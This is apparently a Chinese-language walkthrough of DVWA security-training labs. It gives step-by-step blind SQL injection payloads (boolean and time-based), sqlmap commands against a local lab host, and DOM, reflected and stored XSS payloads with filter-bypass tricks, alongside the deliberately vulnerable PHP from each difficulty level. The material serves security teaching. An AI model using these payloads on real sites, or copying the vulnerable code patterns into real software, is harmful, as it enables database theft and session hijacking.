+----------------------------------------------------------------------------------------------------+
| 9 |
+----------------------------------------------------------------------------------------------------+

# 查询当前数据库的第二个数据表表名长度
mysql> select length((select table_name from information_schema.tables where table_schema=database() limit 1,1));
+----------------------------------------------------------------------------------------------------+
| length((select table_name from information_schema.tables where table_schema=database() limit 1,1)) |
+----------------------------------------------------------------------------------------------------+
| 5 |
+----------------------------------------------------------------------------------------------------+

# 查询当前数据库的第一个数据表的第一个字符的内容
mysql> select substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1);
+--------------------------------------------------------------------------------------------------------+
| substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) |
+--------------------------------------------------------------------------------------------------------+
| g |
+--------------------------------------------------------------------------------------------------------+


# 不使用limit限制查询时
mysql> select substr((select table_name from information_schema.tables where table_schema=database()),1,1);
ERROR 1242 (21000): Subquery returns more than 1 row # 报错子查询超过一行

count() 返回查询数量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
语法: count(查询到的数据)
示例:

users表下的user_id字段有内容: 1,2,3,4,5
select count((select user_id from users)); # 查询users表下的user_id字段有几个内容,返回5
select count(schema_name) from information_schema.schemata; # 查询数据库个数
select count(table_name) from information_schema.tables where table_schema='库名'; # 查询指定数据库的表个数
select count(column_name) from information_schema.columns where table_schema='库名' and table_name='表名'; # 查询指定库下表的字段个数
select count(字段名) from 库名.表名 # 查询指定库->表->字段 下的内容个数

mysql> select count(schema_name) from information_schema.schemata;
+--------------------+
| count(schema_name) |
+--------------------+
| 10 |
+--------------------+

group_concat() 成组返回

Low级别

防御方式

该级别对SQL注入无任何防护

1
$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

漏洞利用

判断注入

1
2
3
4
5
6
?id=1'				# 返回异常 MISSING
?id=1'%23 # 返回正常 exists
?id=1' and 1=1%23 # 返回正常 exists
?id=1' and 1=2%23 # 返回异常 MISSING

// 该页面可能存在字符型注入

image-20211107195433828

猜当前数据库名长度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
?id=1' and length(database())=5%23&Submit=Submit		# 当数据库名长度=5时,返回异常
?id=1' and length(database())=4%23&Submit=Submit # 当数据库名长度=4时,返回正常

# SQL语句如下
mysql> SELECT first_name, last_name FROM users WHERE user_id ='1' and length(database())=5;
Empty set (0.00 sec)

mysql> SELECT first_name, last_name FROM users WHERE user_id ='1' and length(database())=4;
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin | admin |
+------------+-----------+
1 row in set (0.00 sec)

// 当前数据库名长度为4个字符

image-20211107200239112

猜数据库名内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 字符法
需要从a~z、A~Z、特殊字符 一个一个慢慢猜,将数据库名所有位数猜出来

?id=1' and substr(database(),1,1)='a'%23&Submit=Submit # 猜数据库名第一位为字符为 a 时,返回异常
?id=1' and substr(database(),1,1)='d'%23&Submit=Submit # 猜数据库名第一位为字符为 d 时,返回正常
?id=1' and substr(database(),2,1)='v'%23&Submit=Submit # 猜数据库名第二位为字符为 v 时,返回正常

# SQL语句如下
mysql> SELECT first_name, last_name FROM users WHERE user_id ='1' and substr(database(),1,1)='a';
Empty set (0.00 sec)

mysql> SELECT first_name, last_name FROM users WHERE user_id ='1' and substr(database(),1,1)='d';
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin | admin |
+------------+-----------+
1 row in set (0.00 sec)

// 按顺序将4位字符猜出来来得到数据库名为 dvwa
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# Ascii法(推荐)
使用二分法慢慢得到数据库名的Ascii,再将Ascii转成字符

?id=1' and ascii(substr(database(),1,1))>=97%23&Submit=Submit # 猜数据库名第一位字符的Ascii码>=97,返回正常
?id=1' and ascii(substr(database(),1,1))>=101%23&Submit=Submit # 猜数据库名第一位字符的Ascii码>=101,返回异常
?id=1' and ascii(substr(database(),1,1))>=100%23&Submit=Submit # 猜数据库名第一位字符的Ascii码>=100,返回正常
// 得出数据库名第一位字符的ascii码为100,将Ascii转为字符得 d

# SQL语句如下
mysql> SELECT first_name, last_name FROM users WHERE user_id ='1' and ascii(substr(database(),1,1))>=101;
Empty set (0.00 sec)

mysql> SELECT first_name, last_name FROM users WHERE user_id ='1' and ascii(substr(database(),1,1))>=100;
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin | admin |
+------------+-----------+
1 row in set (0.00 sec)

// 按顺序将所有位数猜出来得到Ascii码为 |100|118|119|97| 转换为字符得 dvwa

猜表个数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
?id=1 and (select count(table_name) from information_schema.tables where table_schema=database())>=3%23		# 返回异常
?id=1 and %23 # 返回正常

# SQL语句如下
mysql> SELECT first_name, last_name FROM users WHERE user_id ='1' and (select count(table_name) from information_schema.tables where table_schema=database())>=3;
Empty set (0.00 sec)

mysql> SELECT first_name, last_name FROM users WHERE user_id ='1' and (select count(table_name) from information_schema.tables where table_schema=database())>=2;
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin | admin |
+------------+-----------+

// 得出该数据库有两张数据表

猜表名长度

1
2
3
4
5
6
7
8
9
10
11
12
?id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9%23	# 返回正常
?id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=5%23 # 返回正常

# SQL语句如下
mysql> SELECT first_name, last_name FROM users WHERE user_id = '1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9;
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin | admin |
+------------+-----------+

// 得出第一个数据表表名长度为9,第二个表名长度为5

猜表名内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 套路同上,以下均返回正常
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103%23
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=117%23
//按顺序猜出第一个表名guestbook

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=117%23
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=115%23
//按顺序猜出第二个表名为users

# SQL语句如下
mysql> SELECT first_name, last_name FROM users WHERE user_id = '1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=115;
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin | admin |
+------------+-----------+

猜字段个数

1
2
3
4
5
6
7
8
9
10
11
12
# 套路同上,以下均返回正常
?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8%23
?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='guestbook')=3%23
//得出users表的字段个数为8个;guestbook表的字段个数为3个

# SQL语句如下
mysql> SELECT first_name, last_name FROM users WHERE user_id = '1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8;
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin | admin |
+------------+-----------+

猜字段名长度

1
2
3
4
5
6
7
8
9
10
11
12
13
# 套路同上,以下均返回正常

?id=1' and length(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1))=7%23
?id=1' and length(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1))=10%23
//得出user表的第一个字段名长度为7,第二个字段名长度为10,按顺序猜下去

# SQL语句如下
mysql> SELECT first_name, last_name FROM users WHERE user_id = '1' and length(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1))=10;
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin | admin |
+------------+-----------+

猜字段名

1
2
3
4
5
6
7
8
9
10
11
12
13
# 套路同上,以下均返回正常
//猜字段名时可以猜一些关键字,如: flag flags key username user users password pass passwd等常见字段

?id=1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1%23 # 猜users表中有字段user
?id=1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1%23 # 猜users表中有字段password

# SQL语句如下
mysql> SELECT first_name, last_name FROM users WHERE user_id = '1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1;
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin | admin |
+------------+-----------+
1
2
3
4
5
6
7
8
9
10
11
12
13
# 单个字猜
//同猜表名的原理一个字一个字猜出字段名

?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=117%23 # user表的第1个字段名的第1位数ascii码为117
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),2,1))=115%23 # user表的第1个字段名的第2位数ascii码为115

//按顺序推算出第一个字段名为user_id


?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1))=102%23 # user表的第2个字段名的第1位数ascii码为102
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),2,1))=105%23 # user表的第2个字段名的第2位数ascii码为105

//按顺序推算出第一个字段名为first_name

猜字段内容长度

1
2
3
4
5
6
7
8
9
10
11
12
13
# 套路同上,以下均返回正常
?id=1' and length((select user from users limit 0,1))=5%23 # user字段的第1个内容长度为5
?id=1' and length((select user from users limit 1,1)))=7%23 # user字段的第2个内容长度为7

// 得出users表中的user字段中的第一个字段的第一个内容长度为5,第二个内容长度为7

# SQL语句如下
mysql> SELECT first_name, last_name FROM users WHERE user_id = '1' and length((select user from users limit 0,1))=5;
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin | admin |
+------------+-----------+

猜字段内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 套路同上,以下均返回正常

?id=1' and ascii(substr((select user from users limit 0,1),1,1))>=97%23 # user字段的第1个内容的第1位数ascii码为97
?id=1' and ascii(substr((select user from users limit 0,1),2,1))>=100%23 # user字段的第1个内容的第2位数ascii码为100
//按顺序推算出user字段的第一个内容为admin

?id=1' and ascii(substr((select user from users limit 1,1),1,1))>=103%23 # user字段的第2个内容的第1位数ascii码为103
?id=1' and ascii(substr((select user from users limit 1,1),2,1))>=111%23 # user字段的第2个内容的第2位数ascii码为111
//按顺序推算出user字段的第二个内容为gordonb

# SQL语句如下
mysql> SELECT first_name, last_name FROM users WHERE user_id = '1' and ascii(substr((select user from users limit 1,1),2,1))>=111;
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin | admin |
+------------+-----------+

Sqlmap Payload

1
sqlmap -u "http://192.168.1.200:8001/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=enedbbladicdv4fr08p647jam4;security=low"

Medium级别

防御方法

该级别使用了POST提交参数,并且限制了用户在客户端的输入,屏蔽掉了 ‘ “

1
2
3
4
5
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

漏洞利用

使用BurpSuite抓包提交参数,漏洞利用方法与Low级别类似,如要用到引号则将引号里的内容转为十六进制替换即可,其他不多赘述

判断注入

1
2
3
4
5
id=1'23&Submit=Submit			# 异常
id=1 and 1=1%23&Submit=Submit # 正常
id=1 and 1=2%23&Submit=Submit # 异常

//可能存在数字型注入

image-20211108091629058

Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# 判断数据库名长度
id=1 and length(database())=4%23

# 猜数据库名
由于屏蔽了'' "" 所以只能将单个字符转成ascii
id=1 and ascii(substr(database(),1,1))=100 # 库名第一位d
id=1 and ascii(substr(database(),1,1))=118 # 库名第一位v

# 猜表个数
id=1 and (select count(table_name) from information_schema.tables where table_schema=database())=2

# 猜表名长度
id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9
id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=5

# 猜表名内容
id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103

# 猜字段个数
// 由于屏蔽掉了'' "" 所以指定表名时需要将表名转为16进制,users -> 0x7573657273
id=1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)=8

# 猜字段名长度
id=1 and length((select column_name from information_schema.columns where table_schema=database() and table_name=0x7573657273 limit 0,1))=7

# 猜字段名内容
id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=0x7573657273 limit 0,1),1,1))=117

# 猜字段内容个数
id=1 and (select count(user_id) from dvwa.users)=5

# 猜内字段内容长度
id=1 and length((select user from dvwa.users limit 0,1))>=5

# 猜字段内容
id=1 and ascii(substr((select user from dvwa.users limit 0,1),1,1))=97

时间盲注

1
2
3
4
# 猜数据库名
id=1 and if(length(database())=4,sleep(3),1)

// 如果数据库名长度为4时,延时3秒输出,其他同理

image-20211108100905487

Sqlmap Payload

1
sqlmap -u "http://192.168.132.200:8001/vulnerabilities/sqli_blind/" --cookie="PHPSESSID=1u38st5t4o8rcgd6a3fl1jl2r6; security=medium" --data="id=1&Submit=Submit"

High级别

防御方式

使用分离页面查询(一个页面提交数据、一个页面显示回显),可以有效的避免注入工具的攻击,且利用Cookie传递参数id

1
2
3
4
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

漏洞利用

提交数据页面将数据存入Cookie进行传参,漏洞利用方法与Low级别类似

1
2
3
4
5
# 查询数据库名长度
1' and length(database())=4# # 使用 # 注释掉后面的SQL语句
1' and length(database())=4-- 空格 # 使用--注释掉后面的SQL语句

// 参考Low级别,不多赘述

Sqlmap Payload

1
sqlmap -u "http://192.168.132.200:8001/vulnerabilities/sqli_blind/cookie-input.php" --cookie="id=1;PHPSESSID=1u38st5t4o8rcgd6a3fl1jl2r6; security=high" --data="id=1&Submit=Submit" --second-url="http://192.168.132.200:8001/vulnerabilities/sqli_blind/"

弱会话IDs

漏洞介绍

环境异常,下次一定补

XSS-DOM型

漏洞介绍

漏洞介绍

XSS-DOM,DOM型XSS指的是通过恶意脚本修改页面的DOM结构,时纯粹发生在客户端的攻击。DOM型XSS攻击中取出和执行的代码由浏览器完成,属于前端JavaScript自身的安全漏洞。

常用Payload

1
2
3
4
5
6
7
8
9
10
11
12
<script>alert(/xss/)</script>
<script>alert('xss')</script>
<sCRiPt>alert('xss')</ScRipT>
<scri<script>pt>alert(111)</scri</script>pt>
<scri<!--test-->pt>alert(111)</sc<!--test-->ript>
<script>alert(document.cookie)</script>
<a href=javascript:alert('xss')>
<body onload=alert('XSS')>
<img src=x onerror=alert('xss')>
<div onclick="alert('xss')">
<img src='a' onerror="alert('xss');">
...

详细的通关教程

—>点此跳转<—

Low级别

防御方式

该级别对XSS无任何限制

漏洞利用

1
2
3
4
5
# 普通弹窗
?default=<script>alert('xss')</script>

# 获取Cookie
?default=<script>alert(document.cookie)</script>

image-20211108164254883

Medium级别

防御方式

该级别不允许传递的参数中出现 <script

漏洞利用

使用其他的Payload,如<img src=1 onerror=alert('x')>

当插入该Payload后并未出现弹窗,前端代码如下

1
2
3
4
5
6
<select name="default">
<script>
此处省略...
</script>
<option value="%3Cimg%20src=1%20onerror=alert(%27xss%27)%3E"></option><option value="" disabled="disabled">----</option><option value="English">English</option><option value="French">French</option><option value="Spanish">Spanish</option><option value="German">German</option>
</select>

可以看到插入的Payload被包裹进了option标签的value值中,需要将前面的select标签闭合掉再插入

1
2
?default="></select><img src=1 onerror=alert('xss')>

1
2
3
4
5
<select name="default">
<script>
此处省略...
</script>
<option value="%22%3E%3C/select%3E%3Cimg%20src=1%20onerror=alert(%27xss%27)%3E">"&gt;</option></select><img src="1" onerror="alert('xss')"> # 此处select标签被闭合后img标签就可以正常显示了

High级别

防御方式

只允许提交的内容为 French|English|German|Spanish

漏洞利用

可以使用#分隔开参数,将Payload插入到井号后面,需要刷新网页才会生效

1
?default=English#</option></select><script>alert('xss')</script>

前端代码如下

1
2
3
4
5
<select name="default">
<script>
此处省略
</script>
<option value="English#%3C/option%3E%3C/select%3E%3Cscript%3Ealert(" x')%3c="" script%3e'="">English#</option></select><script>alert('x')</script><option value="" disabled="disabled">----</option>

XSS-反射型

漏洞介绍

XSS(Reflected) 反射型XSS, 反射型XSS一般需要诱导用户去访问一个包含恶意代码的URL,当受害者点击URL后恶意代码会在直接在受害者的浏览器上执行,一般用于窃取Cookie或钓鱼欺骗等。反射型一般出现在搜索栏、登录口等地方

Low级别

防御方式

该级别对XSS无任何防护

1
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; 

漏洞利用

1
?name=<script>alert('xss')</script>

前端代码如下

1
<pre>Hello <script>alert('xss')</script></pre>

image-20211108171333792

Medium级别

防御方式

<script>标签过滤为空字符

1
2
3
4
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";

漏洞利用

1
2
3
4
5
6
7
8
9
10
# 大小写绕过
?name=<sCrIpt>alert('xss')<%2FScrIpt>

# 双写关键词绕过
?name=<sc<script>ript>alert('xss')<%2Fscript>

# 使用其他标签
?name=<a href=javascript:alert('xss')>xxx</a> # 需要点击超链接触发
?name=<body onload=alert('xss')>
<img src=x onerror=alert('xss')>

High级别

防御方式

彻底屏蔽了<script>标签

1
2
3
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";

漏洞利用

屏蔽掉该标签后还可以使用其他标签触发弹窗

1
2
3
?name=<a href=javascript:alert('xss')>xxx</a>		# 需要点击超链接触发
?name=<body onload=alert('xss')>
<img src=x onerror=alert('xss')>

XSS-存储型

漏洞介绍

XSS(Stored) 存储型XSS,存储型XSS也叫持久型XSS,主要将XSS代码提交存储在服务器端(数据库、内存、文件系统等),下次请求目标时不用再提交xss代码,当用户访问该页面时自动触发服务器上存储的恶意代码。存储型XSS一般出现在留言、评论、日志等交互处,该漏洞危害最大

Low级别

防御方式

该级别对Xss无任何防护

漏洞利用

1
2
3
4
5
6
# 在姓名框中插入测试语句
<script>alert('xss')</script>


# 在留言框中插入测试语句
<script>alert('xss')</script>

image-20211109085745707

Medium级别

防御方式

Message参数把所有能过滤的过滤了,Name参数将<script>标签过滤为空

1
2
3
4
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
$name = str_replace( '<script>', '', $name );

漏洞利用

修改Name选项框的输入长度限制,并输入下方的Payload测试 (注意: 在每次测试成功后需要将留言板内容删除再继续测试其他Payload)

1
<input name="txtName" type="text" size="30" maxlength="10000">
1
2
3
4
5
6
7
# 大小写绕过
<ScRiPt>alert('xss')</sCrIpt>

# 使用其他标签
<a href=javascript:alert('xss')>xxx</a> # 需要点击超链接触发
<body onload=alert('xss')>
<img src=x onerror=alert('xss')>

High级别

防御方式

Message参数把所有能过滤的过滤了,Name参数将<script>标签一个字一个字过滤为空

1
2
3
4
5
6
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );

漏洞利用

以下Payload均在name参数中测试,需要修改输入框namemaxlength参数(可以修改为100)

1
2
3
4
5
6
# 大小写绕过
<ScRiPt>alert('xss')</sCrIpt>

# 使用其他标签
<body onload=alert('xss')>
<img src=x onerror=alert('xss')>

CSP Bypass

JavaScript